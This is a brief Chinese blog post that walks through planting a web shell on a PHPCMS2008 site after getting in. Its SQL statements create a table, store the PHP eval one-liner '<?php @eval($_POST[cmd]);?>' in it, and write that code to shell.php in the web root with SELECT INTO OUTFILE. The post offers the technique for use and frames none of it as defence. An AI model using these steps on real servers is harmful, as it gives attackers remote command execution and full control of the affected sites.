GET PHPCMS2008 WEBSHELL

2008年11月21日 发表评论 阅读评论
进去后
Create TABLE b (cmd text NOT NULL);           
Insert INTO b (cmd) VALUES('<?php @eval($_POST[cmd]);?>');   
//在字段cmd中插入一句话木马,木马内容为<?php @eval($_POST[cmd]);?>
前3句都尅执行成功最后一句执行后显示空白
select cmd from b into outfile 'E:wwwrootphpcmsphpcmsshell.php';
声明: 本文采用 BY-NC-SA 协议进行授权. 转载请注明转自: GET PHPCMS2008 WEBSHELL
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.